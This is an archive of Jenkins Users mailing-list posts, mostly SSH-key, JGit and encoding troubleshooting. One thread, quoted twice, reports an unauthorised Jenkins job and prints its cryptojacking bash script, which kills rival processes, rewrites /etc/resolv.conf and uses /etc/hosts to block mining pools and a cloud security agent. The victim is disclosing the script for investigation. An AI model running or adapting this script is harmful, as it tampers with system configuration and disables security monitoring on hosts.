I've done the same thing on many other platforms with no problem. This 
seems very R2.4 specific. There was a change in the supported file 
encodings as well - we used to use -Dfile.encoding=utf8 in the agent config 
(because this is an IBM that likes EBCDIC), but had to move to 
-Dfile.encoding=ISO8859-1 and everything seems messed up now. IBM had this 
funky script they recommend that massages the key into an IBM-1047 encoding 
but that does not help at all - in fact the GitSCM agent cannot process any 
results if that script is used.

Help! 

TIA,
Randall

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/d10d6a9f-0a30-47d4-8d8d-c57ff644390eo%40googlegroups.com.

Re: Potential Malware

[Randall Becker]

We have locked down the system and have not had a recurrence. If there is 
one, I will report it ASAP.

Thank you all for the concern :)

Cheers,
Randall

On Wednesday, 1 July 2020 09:55:06 UTC-4, Jan Monterrubio wrote:
>
> Randall/Daniel, if there does end up being malware for this release would 
> you mind replying on this thread? 
>
> On Monday, June 22, 2020 at 1:00:09 PM UTC-5, Daniel Beck wrote:
>>
>> Thanks for your report. 
>>
>> I filed an issue on your behalf in the Jenkins project's private security 
>> issue tracker. You should have gotten an email notification from Jira about 
>> it. Please provide more information there to help us investigate. 
>>
>>
>> > On 22. Jun 2020, at 19:15, Randall Becker  wrote: 
>> > 
>> > Hi All, 
>> > 
>> > We just installed Jenkins 2.240 and suddenly there is a job with some 
>> really strange content, including: 
>> > 
>> > #!/bin/bash 
>> > 
>> > threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | 
>> head -n 1); 
>> > hostHash=$(hostname -f | md5sum | cut -c1-8); 
>> > echo "${hostHash} - ${threadCount}"; 
>> > ktr () { 
>> > killall trace;pkill -9 -f trace;killall -s SIGKILL trace 
>> > killall vunix;pkill -9 -f vunix;killall -s SIGKILL vunix 
>> > killall viunix;pkill viunix;killall -s SIGKILL viunix 
>> > kill -9 $(ps -ux | grep trace | awk '{ print $2 }') 
>> > kill -9 $(ps -ux | grep vunix | awk '{ print $2 }') 
>> > kill -9 $(ps -ux | grep viunix | awk '{ print $2 }') 
>> > echo kill 
>> > } 
>> > 
>> > ktr 
>> > ktr 
>> > ktr 
>> > echo plsfoodforcatsnlove 
>> > echo 'nameserver 1.1.1.1' > /etc/resolv.conf;echo 'nameserver 8.8.8.8' 
>> >> /etc/resolv.conf;echo 'nameserver 180.76.76.76' >> /etc/resolv.conf 
>> > echo "0.0.0.0 blockchain.info" >> /etc/hosts;echo "0.0.0.0 
>> 35.225.36.167" >> /etc/hosts;echo "0.0.0.0 100.100.25.3 
>> jsrv.aegis.aliyun.com" >> /etc/hosts 
>> > echo "0.0.0.0 100.100.25.4 update.aegis.aliyun.co" >> /etc/hosts;echo 
>> "0.0.0.0 185.164.72.119" >> /etc/hosts;echo "0.0.0.0 163.172.191.181" >> 
>> /etc/hosts 
>> > echo "0.0.0.0 pool.supportxmr.com" >> /etc/hosts;echo "0.0.0.0 
>> pinto.mamointernet.icu" >> /etc/hosts;echo "0.0.0.0 sdk.bce.baidu.com" 
>> >> /etc/hosts 
>> > echo "0.0.0.0 lsd.systemten.org" >> /etc/hosts; 
>> > echo "0.0.0.0 pool.minexmr.com" >> /etc/hosts 
>> > echo "0.0.0.0 minexmr.com" >> /etc/hosts 
>> > 
>> > This is really creepy because this script cannot possibly run on our 
>> system (the good part). The bad part is that no one in our organization 
>> created this job. Is it possible that there is some malware floating 
>> around? Our Jenkins instance is hiding behind a firewall so there's no way 
>> in. 
>> > 
>> > Thanks, 
>> > Randall 
>> > 
>> > -- 
>> > You received this message because you are subscribed to the Google 
>> Groups "Jenkins Users" group. 
>> > To unsubscribe from this group and stop receiving emails from it, send 
>> an email to jenkins...@googlegroups.com. 
>> > To view this discussion on the web visit 
>> https://groups.google.com/d/msgid/jenkinsci-users/389e7848-bad2-4044-ab9d-c3fd0f106256o%40googlegroups.com.
>>  
>>
>>
>>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/ee855a10-2327-40b5-95e2-8699bfc2f5d1o%40googlegroups.com.

How can pipelines unset environment variables

[Randall Becker]

I have a situation where I need to run a pipeline with a reduced set of 
environment variables. The build environment has a limit of the total size 
of the environment and Jenkin's contribution is causing an overflow to that 
limit. Is there a way to unset variable in pipelines as could be done in a 
single step in freestyle projects?

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/a5fb32a1-aed9-43a9-8685-5ae49c94ae44o%40googlegroups.com.

Potential Malware

[Randall Becker]

Hi All,

We just installed Jenkins 2.240 and suddenly there is a job with some 
really strange content, including:

#!/bin/bash

threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head 
-n 1);
hostHash=$(hostname -f | md5sum | cut -c1-8);
echo "${hostHash} - ${threadCount}";
ktr () {
killall trace;pkill -9 -f trace;killall -s SIGKILL trace
killall vunix;pkill -9 -f vunix;killall -s SIGKILL vunix
killall viunix;pkill viunix;killall -s SIGKILL viunix
kill -9 $(ps -ux | grep trace | awk '{ print $2 }')
kill -9 $(ps -ux | grep vunix | awk '{ print $2 }')
kill -9 $(ps -ux | grep viunix | awk '{ print $2 }')
echo kill
}

ktr
ktr
ktr
echo plsfoodforcatsnlove
echo 'nameserver 1.1.1.1' > /etc/resolv.conf;echo 'nameserver 8.8.8.8' >> 
/etc/resolv.conf;echo 'nameserver 180.76.76.76' >> /etc/resolv.conf
echo "0.0.0.0 blockchain.info" >> /etc/hosts;echo "0.0.0.0 35.225.36.167" 
>> /etc/hosts;echo "0.0.0.0 100.100.25.3 jsrv.aegis.aliyun.com" >> 
/etc/hosts
echo "0.0.0.0 100.100.25.4 update.aegis.aliyun.co" >> /etc/hosts;echo 
"0.0.0.0 185.164.72.119" >> /etc/hosts;echo "0.0.0.0 163.172.191.181" >> 
/etc/hosts
echo "0.0.0.0 pool.supportxmr.com" >> /etc/hosts;echo "0.0.0.0 
pinto.mamointernet.icu" >> /etc/hosts;echo "0.0.0.0 sdk.bce.baidu.com" >> 
/etc/hosts
echo "0.0.0.0 lsd.systemten.org" >> /etc/hosts;
echo "0.0.0.0 pool.minexmr.com" >> /etc/hosts
echo "0.0.0.0 minexmr.com" >> /etc/hosts

This is really creepy because this script cannot possibly run on our system 
(the good part). The bad part is that no one in our organization created 
this job. Is it possible that there is some malware floating around? Our 
Jenkins instance is hiding behind a firewall so there's no way in.

Thanks,
Randall

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/389e7848-bad2-4044-ab9d-c3fd0f106256o%40googlegroups.com.

Re: Jenkins 2.164 Prompting Terminal for Passphrase

[Randall Becker]

My docker image is doing fine, but the standalone Jenkins just won't 
authenticate with either JGit or git. It would be really nice to be able to 
do this without docker. Is there a standard launch recipe for my situation 
(in Ubuntu) or is SSH with passphrases just not available anymore?

java -jar jenkins.war

doesn't cut it.

:(

On Wednesday, April 24, 2019 at 3:14:49 PM UTC-4, Randall Becker wrote:
>
> I'm rebuilding both docker and standalone images and will compare. The 
> docker image is fine with the key pair after I restarted it. I also had to 
> pick off the host signature using ssh -i blah g...@bitbucket.org... THEN the 
> docker image was able to authenticate. I'm going to try the same on the 
> standalone.
>
> On Wednesday, April 24, 2019 at 2:57:59 PM UTC-4, Mark Waite wrote:
>>
>> I've been using 2.164.1 and 2.164.2 since their release with both Java 8 
>> and Java 11, alternating between various configurations, I'm confident the 
>> update is not DOA.
>>
>> I use bitbucket repositories that are secured with passphrase protected 
>> private keys.  I use GitHub repositories that are secured with passphrase 
>> protected private keys.  Check your configuration carefully.  Has the 
>> passphrase protected private key been disabled in bitbucket?  Is Jenkins 
>> reporting any issue with the private key format?
>>
>> On Wed, Apr 24, 2019 at 12:53 PM Randall Becker  
>> wrote:
>>
>>> I went back to try to use 2.164 on Docker and am experiencing similar 
>>> issues. I wonder whether this update is DOA.
>>>
>>> On Wednesday, April 24, 2019 at 2:45:16 PM UTC-4, Mark Waite wrote:
>>>>
>>>>
>>>>
>>>> On Wed, Apr 24, 2019 at 12:35 PM Randall Becker  
>>>> wrote:
>>>>
>>>>> I should qualify... the passphrase prompt disappeared when setsid is 
>>>>> used, but that still does not allow a passphrase-less keypair.
>>>>>
>>>>>
>>>> That may indicate that you have another problem.  If the passphrase 
>>>> prompt disappeared, then ssh should have either completed the ssh 
>>>> authentication or reported an error message.
>>>>  
>>>>
>>>>> On Wednesday, April 24, 2019 at 2:33:07 PM UTC-4, Randall Becker wrote:
>>>>>>
>>>>>> The Multibranch Pipeline Plugin using JGit ends up incompatible.
>>>>>>
>>>>>>  > /usr/local/bin/jgit --version # timeout=10
>>>>>>  > /usr/local/bin/jgit ls-remote --symref 
>>>>>> g...@bitbucket.org:nonstop-git/nsgit.git # timeout=10
>>>>>>
>>>>>> ERROR: [Wed Apr 24 18:23:01 UTC 2019] Could not update folder level 
>>>>>> actions from source 0819144a...
>>>>>> hudson.plugins.git.GitException: Command "/usr/local/bin/jgit ls-remote 
>>>>>> --symref g...@bitbucket.org:group/repo.git" returned status code 1:
>>>>>> stdout: 
>>>>>> stderr: fatal: "--symref" is not a valid option
>>>>>>
>>>>>> Looks like JGit (5.3.0 anyway) is no longer an option for polling. 
>>>>>> I'm on Git Plugin 3.9.3.
>>>>>>
>>>>>> setsid made no difference.
>>>>>>
>>>>>> On Wednesday, April 24, 2019 at 2:24:00 PM UTC-4, Mark Waite wrote:
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>> On Wed, Apr 24, 2019 at 12:10 PM Randall Becker wrote:
>>>>>>>
>>>>>>>> I'll bite. How can I use JGit instead of git in Jenkins? I thought 
>>>>>>>> it was hard-burnt into the Git Plugin.
>>>>>>>>
>>>>>>>>
>>>>>>> In the "Global Tools Configuration" page of "Manage Jenkins", use 
>>>>>>> the "Git" button and the "Add" button under it to add "jgit" as an 
>>>>>>> implementation.  Once you've done that, then jobs will have an 
>>>>>>> additional 
>>>>>>> option to select which git implementation they will use.
>>>>>>>  
>>>>>>>
>>>>>>>> On Wednesday, April 24, 2019 at 1:08:48 PM UTC-4, Randall Becker 
>>>>>>>> wrote:
>>>>>>>>>
>>>>>>>>> This is a new situation that I have encountered after a clean 
>>>>>>>>> install o

Re: Jenkins 2.164 Prompting Terminal for Passphrase

[Randall Becker]

I'm rebuilding both docker and standalone images and will compare. The 
docker image is fine with the key pair after I restarted it. I also had to 
pick off the host signature using ssh -i blah g...@bitbucket.org... THEN the 
docker image was able to authenticate. I'm going to try the same on the 
standalone.

On Wednesday, April 24, 2019 at 2:57:59 PM UTC-4, Mark Waite wrote:
>
> I've been using 2.164.1 and 2.164.2 since their release with both Java 8 
> and Java 11, alternating between various configurations, I'm confident the 
> update is not DOA.
>
> I use bitbucket repositories that are secured with passphrase protected 
> private keys.  I use GitHub repositories that are secured with passphrase 
> protected private keys.  Check your configuration carefully.  Has the 
> passphrase protected private key been disabled in bitbucket?  Is Jenkins 
> reporting any issue with the private key format?
>
> On Wed, Apr 24, 2019 at 12:53 PM Randall Becker  > wrote:
>
>> I went back to try to use 2.164 on Docker and am experiencing similar 
>> issues. I wonder whether this update is DOA.
>>
>> On Wednesday, April 24, 2019 at 2:45:16 PM UTC-4, Mark Waite wrote:
>>>
>>>
>>>
>>> On Wed, Apr 24, 2019 at 12:35 PM Randall Becker  
>>> wrote:
>>>
>>>> I should qualify... the passphrase prompt disappeared when setsid is 
>>>> used, but that still does not allow a passphrase-less keypair.
>>>>
>>>>
>>> That may indicate that you have another problem.  If the passphrase 
>>> prompt disappeared, then ssh should have either completed the ssh 
>>> authentication or reported an error message.
>>>  
>>>
>>>> On Wednesday, April 24, 2019 at 2:33:07 PM UTC-4, Randall Becker wrote:
>>>>>
>>>>> The Multibranch Pipeline Plugin using JGit ends up incompatible.
>>>>>
>>>>>  > /usr/local/bin/jgit --version # timeout=10
>>>>>  > /usr/local/bin/jgit ls-remote --symref 
>>>>> g...@bitbucket.org:nonstop-git/nsgit.git # timeout=10
>>>>>
>>>>> ERROR: [Wed Apr 24 18:23:01 UTC 2019] Could not update folder level 
>>>>> actions from source 0819144a...
>>>>> hudson.plugins.git.GitException: Command "/usr/local/bin/jgit ls-remote 
>>>>> --symref g...@bitbucket.org:group/repo.git" returned status code 1:
>>>>> stdout: 
>>>>> stderr: fatal: "--symref" is not a valid option
>>>>>
>>>>> Looks like JGit (5.3.0 anyway) is no longer an option for polling. I'm 
>>>>> on Git Plugin 3.9.3.
>>>>>
>>>>> setsid made no difference.
>>>>>
>>>>> On Wednesday, April 24, 2019 at 2:24:00 PM UTC-4, Mark Waite wrote:
>>>>>>
>>>>>>
>>>>>>
>>>>>> On Wed, Apr 24, 2019 at 12:10 PM Randall Becker wrote:
>>>>>>
>>>>>>> I'll bite. How can I use JGit instead of git in Jenkins? I thought 
>>>>>>> it was hard-burnt into the Git Plugin.
>>>>>>>
>>>>>>>
>>>>>> In the "Global Tools Configuration" page of "Manage Jenkins", use the 
>>>>>> "Git" button and the "Add" button under it to add "jgit" as an 
>>>>>> implementation.  Once you've done that, then jobs will have an 
>>>>>> additional 
>>>>>> option to select which git implementation they will use.
>>>>>>  
>>>>>>
>>>>>>> On Wednesday, April 24, 2019 at 1:08:48 PM UTC-4, Randall Becker 
>>>>>>> wrote:
>>>>>>>>
>>>>>>>> This is a new situation that I have encountered after a clean 
>>>>>>>> install of 2.164. Attempting to use an SSH keypair (with passphrase) 
>>>>>>>> to 
>>>>>>>> talk to BitBucket.org, in a Multibranch Pipeline job. The key is 
>>>>>>>> properly 
>>>>>>>> configured as an Private Key (entered manually) with a Passphrase.
>>>>>>>>
>>>>>>>> When I hit Scan Multibranch Pipeline Now, Jenkins immediately 
>>>>>>>> prompts the JVM's stderr for the passphrase. As an example:
>>>>>>>>
>>>>>>>> Enter passphrase for key '/tmp/ssh6766884284790436436.key':
>>>>>>>>
>>>>>>&g

Re: Jenkins 2.164 Prompting Terminal for Passphrase

[Randall Becker]

I went back to try to use 2.164 on Docker and am experiencing similar 
issues. I wonder whether this update is DOA.

On Wednesday, April 24, 2019 at 2:45:16 PM UTC-4, Mark Waite wrote:
>
>
>
> On Wed, Apr 24, 2019 at 12:35 PM Randall Becker  > wrote:
>
>> I should qualify... the passphrase prompt disappeared when setsid is 
>> used, but that still does not allow a passphrase-less keypair.
>>
>>
> That may indicate that you have another problem.  If the passphrase prompt 
> disappeared, then ssh should have either completed the ssh authentication 
> or reported an error message.
>  
>
>> On Wednesday, April 24, 2019 at 2:33:07 PM UTC-4, Randall Becker wrote:
>>>
>>> The Multibranch Pipeline Plugin using JGit ends up incompatible.
>>>
>>>  > /usr/local/bin/jgit --version # timeout=10
>>>  > /usr/local/bin/jgit ls-remote --symref 
>>> g...@bitbucket.org:nonstop-git/nsgit.git # timeout=10
>>>
>>> ERROR: [Wed Apr 24 18:23:01 UTC 2019] Could not update folder level actions 
>>> from source 0819144a...
>>> hudson.plugins.git.GitException: Command "/usr/local/bin/jgit ls-remote 
>>> --symref g...@bitbucket.org:group/repo.git" returned status code 1:
>>> stdout: 
>>> stderr: fatal: "--symref" is not a valid option
>>>
>>> Looks like JGit (5.3.0 anyway) is no longer an option for polling. I'm 
>>> on Git Plugin 3.9.3.
>>>
>>> setsid made no difference.
>>>
>>> On Wednesday, April 24, 2019 at 2:24:00 PM UTC-4, Mark Waite wrote:
>>>>
>>>>
>>>>
>>>> On Wed, Apr 24, 2019 at 12:10 PM Randall Becker wrote:
>>>>
>>>>> I'll bite. How can I use JGit instead of git in Jenkins? I thought it 
>>>>> was hard-burnt into the Git Plugin.
>>>>>
>>>>>
>>>> In the "Global Tools Configuration" page of "Manage Jenkins", use the 
>>>> "Git" button and the "Add" button under it to add "jgit" as an 
>>>> implementation.  Once you've done that, then jobs will have an additional 
>>>> option to select which git implementation they will use.
>>>>  
>>>>
>>>>> On Wednesday, April 24, 2019 at 1:08:48 PM UTC-4, Randall Becker wrote:
>>>>>>
>>>>>> This is a new situation that I have encountered after a clean install 
>>>>>> of 2.164. Attempting to use an SSH keypair (with passphrase) to talk to 
>>>>>> BitBucket.org, in a Multibranch Pipeline job. The key is properly 
>>>>>> configured as an Private Key (entered manually) with a Passphrase.
>>>>>>
>>>>>> When I hit Scan Multibranch Pipeline Now, Jenkins immediately prompts 
>>>>>> the JVM's stderr for the passphrase. As an example:
>>>>>>
>>>>>> Enter passphrase for key '/tmp/ssh6766884284790436436.key':
>>>>>>
>>>>>> I also get an error in the Multibranch scan log:
>>>>>>
>>>>>>  > git ls-remote g...@bitbucket.org:group/repo.git # edited, of course
>>>>>> ERROR: [Wed Apr 24 16:58:41 UTC 2019] Could not update folder level 
>>>>>> actions from source 73a4292e-
>>>>>> hudson.plugins.git.GitException: Command "git ls-remote 
>>>>>> g...@bitbucket.org:group/repo.git" returned status code 128:
>>>>>> stdout: 
>>>>>> stderr: Permission denied (publickey).
>>>>>> fatal: Could not read from remote repository.
>>>>>>
>>>>>>
>>>>>> This is bizarre. I'm running Ubuntu 16.04 using the default JRE. This 
>>>>>> did not happen on earlier versions of Jenkins that were running in 
>>>>>> Docker 
>>>>>> images - I had to remove Docker for VPN reasons.
>>>>>>
>>>>>> I'm basically off the air at this point. Did I just miss a plugin or 
>>>>>> do something silly?
>>>>>>
>>>>>> TIA,
>>>>>> Randall
>>>>>>
>>>>> -- 
>>>>> You received this message because you are subscribed to the Google 
>>>>> Groups "Jenkins Users" group.
>>>>> To unsubscribe from this group and stop receiving emails from it, send 
>>>>> an email to jenkins...@googlegroups.com.
>>>>> To view this discussion on the

Re: Jenkins 2.164 Prompting Terminal for Passphrase

[Randall Becker]

I should qualify... the passphrase prompt disappeared when setsid is used, 
but that still does not allow a passphrase-less keypair.

On Wednesday, April 24, 2019 at 2:33:07 PM UTC-4, Randall Becker wrote:
>
> The Multibranch Pipeline Plugin using JGit ends up incompatible.
>
>  > /usr/local/bin/jgit --version # timeout=10
>  > /usr/local/bin/jgit ls-remote --symref 
> g...@bitbucket.org:nonstop-git/nsgit.git # timeout=10
>
> ERROR: [Wed Apr 24 18:23:01 UTC 2019] Could not update folder level actions 
> from source 0819144a...
> hudson.plugins.git.GitException: Command "/usr/local/bin/jgit ls-remote 
> --symref g...@bitbucket.org:group/repo.git" returned status code 1:
> stdout: 
> stderr: fatal: "--symref" is not a valid option
>
> Looks like JGit (5.3.0 anyway) is no longer an option for polling. I'm on 
> Git Plugin 3.9.3.
>
> setsid made no difference.
>
> On Wednesday, April 24, 2019 at 2:24:00 PM UTC-4, Mark Waite wrote:
>>
>>
>>
>> On Wed, Apr 24, 2019 at 12:10 PM Randall Becker wrote:
>>
>>> I'll bite. How can I use JGit instead of git in Jenkins? I thought it 
>>> was hard-burnt into the Git Plugin.
>>>
>>>
>> In the "Global Tools Configuration" page of "Manage Jenkins", use the 
>> "Git" button and the "Add" button under it to add "jgit" as an 
>> implementation.  Once you've done that, then jobs will have an additional 
>> option to select which git implementation they will use.
>>  
>>
>>> On Wednesday, April 24, 2019 at 1:08:48 PM UTC-4, Randall Becker wrote:
>>>>
>>>> This is a new situation that I have encountered after a clean install 
>>>> of 2.164. Attempting to use an SSH keypair (with passphrase) to talk to 
>>>> BitBucket.org, in a Multibranch Pipeline job. The key is properly 
>>>> configured as an Private Key (entered manually) with a Passphrase.
>>>>
>>>> When I hit Scan Multibranch Pipeline Now, Jenkins immediately prompts 
>>>> the JVM's stderr for the passphrase. As an example:
>>>>
>>>> Enter passphrase for key '/tmp/ssh6766884284790436436.key':
>>>>
>>>> I also get an error in the Multibranch scan log:
>>>>
>>>>  > git ls-remote g...@bitbucket.org:group/repo.git # edited, of course
>>>> ERROR: [Wed Apr 24 16:58:41 UTC 2019] Could not update folder level 
>>>> actions from source 73a4292e-
>>>> hudson.plugins.git.GitException: Command "git ls-remote 
>>>> g...@bitbucket.org:group/repo.git" returned status code 128:
>>>> stdout: 
>>>> stderr: Permission denied (publickey).
>>>> fatal: Could not read from remote repository.
>>>>
>>>>
>>>> This is bizarre. I'm running Ubuntu 16.04 using the default JRE. This 
>>>> did not happen on earlier versions of Jenkins that were running in Docker 
>>>> images - I had to remove Docker for VPN reasons.
>>>>
>>>> I'm basically off the air at this point. Did I just miss a plugin or do 
>>>> something silly?
>>>>
>>>> TIA,
>>>> Randall
>>>>
>>> -- 
>>> You received this message because you are subscribed to the Google 
>>> Groups "Jenkins Users" group.
>>> To unsubscribe from this group and stop receiving emails from it, send 
>>> an email to jenkins...@googlegroups.com.
>>> To view this discussion on the web visit 
>>> https://groups.google.com/d/msgid/jenkinsci-users/30f56e57-d3de-4e43-96dc-d07aa4ebdcda%40googlegroups.com
>>>  
>>> <https://groups.google.com/d/msgid/jenkinsci-users/30f56e57-d3de-4e43-96dc-d07aa4ebdcda%40googlegroups.com?utm_medium=email_source=footer>
>>> .
>>> For more options, visit https://groups.google.com/d/optout.
>>>
>>
>>
>> -- 
>> Thanks!
>> Mark Waite
>>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/69755a15-a748-49e6-bb95-a9347afa75cc%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Re: Jenkins 2.164 Prompting Terminal for Passphrase

[Randall Becker]

The Multibranch Pipeline Plugin using JGit ends up incompatible.

 > /usr/local/bin/jgit --version # timeout=10
 > /usr/local/bin/jgit ls-remote --symref 
 > g...@bitbucket.org:nonstop-git/nsgit.git # timeout=10

ERROR: [Wed Apr 24 18:23:01 UTC 2019] Could not update folder level actions 
from source 0819144a...
hudson.plugins.git.GitException: Command "/usr/local/bin/jgit ls-remote 
--symref g...@bitbucket.org:group/repo.git" returned status code 1:
stdout: 
stderr: fatal: "--symref" is not a valid option

Looks like JGit (5.3.0 anyway) is no longer an option for polling. I'm on 
Git Plugin 3.9.3.

setsid made no difference.

On Wednesday, April 24, 2019 at 2:24:00 PM UTC-4, Mark Waite wrote:
>
>
>
> On Wed, Apr 24, 2019 at 12:10 PM Randall Becker wrote:
>
>> I'll bite. How can I use JGit instead of git in Jenkins? I thought it was 
>> hard-burnt into the Git Plugin.
>>
>>
> In the "Global Tools Configuration" page of "Manage Jenkins", use the 
> "Git" button and the "Add" button under it to add "jgit" as an 
> implementation.  Once you've done that, then jobs will have an additional 
> option to select which git implementation they will use.
>  
>
>> On Wednesday, April 24, 2019 at 1:08:48 PM UTC-4, Randall Becker wrote:
>>>
>>> This is a new situation that I have encountered after a clean install of 
>>> 2.164. Attempting to use an SSH keypair (with passphrase) to talk to 
>>> BitBucket.org, in a Multibranch Pipeline job. The key is properly 
>>> configured as an Private Key (entered manually) with a Passphrase.
>>>
>>> When I hit Scan Multibranch Pipeline Now, Jenkins immediately prompts 
>>> the JVM's stderr for the passphrase. As an example:
>>>
>>> Enter passphrase for key '/tmp/ssh6766884284790436436.key':
>>>
>>> I also get an error in the Multibranch scan log:
>>>
>>>  > git ls-remote g...@bitbucket.org:group/repo.git # edited, of course
>>> ERROR: [Wed Apr 24 16:58:41 UTC 2019] Could not update folder level actions 
>>> from source 73a4292e-
>>> hudson.plugins.git.GitException: Command "git ls-remote 
>>> g...@bitbucket.org:group/repo.git" returned status code 128:
>>> stdout: 
>>> stderr: Permission denied (publickey).
>>> fatal: Could not read from remote repository.
>>>
>>>
>>> This is bizarre. I'm running Ubuntu 16.04 using the default JRE. This 
>>> did not happen on earlier versions of Jenkins that were running in Docker 
>>> images - I had to remove Docker for VPN reasons.
>>>
>>> I'm basically off the air at this point. Did I just miss a plugin or do 
>>> something silly?
>>>
>>> TIA,
>>> Randall
>>>
>> -- 
>> You received this message because you are subscribed to the Google Groups 
>> "Jenkins Users" group.
>> To unsubscribe from this group and stop receiving emails from it, send an 
>> email to jenkins...@googlegroups.com .
>> To view this discussion on the web visit 
>> https://groups.google.com/d/msgid/jenkinsci-users/30f56e57-d3de-4e43-96dc-d07aa4ebdcda%40googlegroups.com
>>  
>> <https://groups.google.com/d/msgid/jenkinsci-users/30f56e57-d3de-4e43-96dc-d07aa4ebdcda%40googlegroups.com?utm_medium=email_source=footer>
>> .
>> For more options, visit https://groups.google.com/d/optout.
>>
>
>
> -- 
> Thanks!
> Mark Waite
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/f475e8c0-ab7a-421b-9bcd-95a85ecb8c67%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Re: Jenkins 2.164 Prompting Terminal for Passphrase

[Randall Becker]

I'll bite. How can I use JGit instead of git in Jenkins? I thought it was 
hard-burnt into the Git Plugin.

On Wednesday, April 24, 2019 at 1:08:48 PM UTC-4, Randall Becker wrote:
>
> This is a new situation that I have encountered after a clean install of 
> 2.164. Attempting to use an SSH keypair (with passphrase) to talk to 
> BitBucket.org, in a Multibranch Pipeline job. The key is properly 
> configured as an Private Key (entered manually) with a Passphrase.
>
> When I hit Scan Multibranch Pipeline Now, Jenkins immediately prompts the 
> JVM's stderr for the passphrase. As an example:
>
> Enter passphrase for key '/tmp/ssh6766884284790436436.key':
>
> I also get an error in the Multibranch scan log:
>
>  > git ls-remote g...@bitbucket.org:group/repo.git # edited, of course
> ERROR: [Wed Apr 24 16:58:41 UTC 2019] Could not update folder level actions 
> from source 73a4292e-
> hudson.plugins.git.GitException: Command "git ls-remote 
> g...@bitbucket.org:group/repo.git" returned status code 128:
> stdout: 
> stderr: Permission denied (publickey).
> fatal: Could not read from remote repository.
>
>
> This is bizarre. I'm running Ubuntu 16.04 using the default JRE. This did 
> not happen on earlier versions of Jenkins that were running in Docker 
> images - I had to remove Docker for VPN reasons.
>
> I'm basically off the air at this point. Did I just miss a plugin or do 
> something silly?
>
> TIA,
> Randall
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/30f56e57-d3de-4e43-96dc-d07aa4ebdcda%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Re: Jenkins 2.164 Prompting Terminal for Passphrase

[Randall Becker]

Thanks, however, I'm not sure this is it. My startup script is:

unset TERM # Not really useful
nohup java \
-Dorg.jenkinsci.plugins.gitclient.CliGitAPIImpl.useSETSID=true \
-jar jenkins.war \
< /dev/null 2>&1 \
> jenkins.log &

which should not be attached to a terminal, but is. The define seems to 
have no effect. There are no SSH variables in the environment. And, most 
importantly, I cannot use a passphrase-less keypair to talk to 
bitbucket.org without being fired. Did I miss something?

On Wednesday, April 24, 2019 at 1:08:48 PM UTC-4, Randall Becker wrote:
>
> This is a new situation that I have encountered after a clean install of 
> 2.164. Attempting to use an SSH keypair (with passphrase) to talk to 
> BitBucket.org, in a Multibranch Pipeline job. The key is properly 
> configured as an Private Key (entered manually) with a Passphrase.
>
> When I hit Scan Multibranch Pipeline Now, Jenkins immediately prompts the 
> JVM's stderr for the passphrase. As an example:
>
> Enter passphrase for key '/tmp/ssh6766884284790436436.key':
>
> I also get an error in the Multibranch scan log:
>
>  > git ls-remote g...@bitbucket.org:group/repo.git # edited, of course
> ERROR: [Wed Apr 24 16:58:41 UTC 2019] Could not update folder level actions 
> from source 73a4292e-
> hudson.plugins.git.GitException: Command "git ls-remote 
> g...@bitbucket.org:group/repo.git" returned status code 128:
> stdout: 
> stderr: Permission denied (publickey).
> fatal: Could not read from remote repository.
>
>
> This is bizarre. I'm running Ubuntu 16.04 using the default JRE. This did 
> not happen on earlier versions of Jenkins that were running in Docker 
> images - I had to remove Docker for VPN reasons.
>
> I'm basically off the air at this point. Did I just miss a plugin or do 
> something silly?
>
> TIA,
> Randall
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/8c70123f-5388-48cc-a6b8-dcca6d36fb00%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Jenkins 2.164 Prompting Terminal for Passphrase

[Randall Becker]

This is a new situation that I have encountered after a clean install of 
2.164. Attempting to use an SSH keypair (with passphrase) to talk to 
BitBucket.org, in a Multibranch Pipeline job. The key is properly 
configured as an Private Key (entered manually) with a Passphrase.

When I hit Scan Multibranch Pipeline Now, Jenkins immediately prompts the 
JVM's stderr for the passphrase. As an example:

Enter passphrase for key '/tmp/ssh6766884284790436436.key':

I also get an error in the Multibranch scan log:

 > git ls-remote g...@bitbucket.org:group/repo.git # edited, of course
ERROR: [Wed Apr 24 16:58:41 UTC 2019] Could not update folder level actions 
from source 73a4292e-
hudson.plugins.git.GitException: Command "git ls-remote 
g...@bitbucket.org:group/repo.git" returned status code 128:
stdout: 
stderr: Permission denied (publickey).
fatal: Could not read from remote repository.


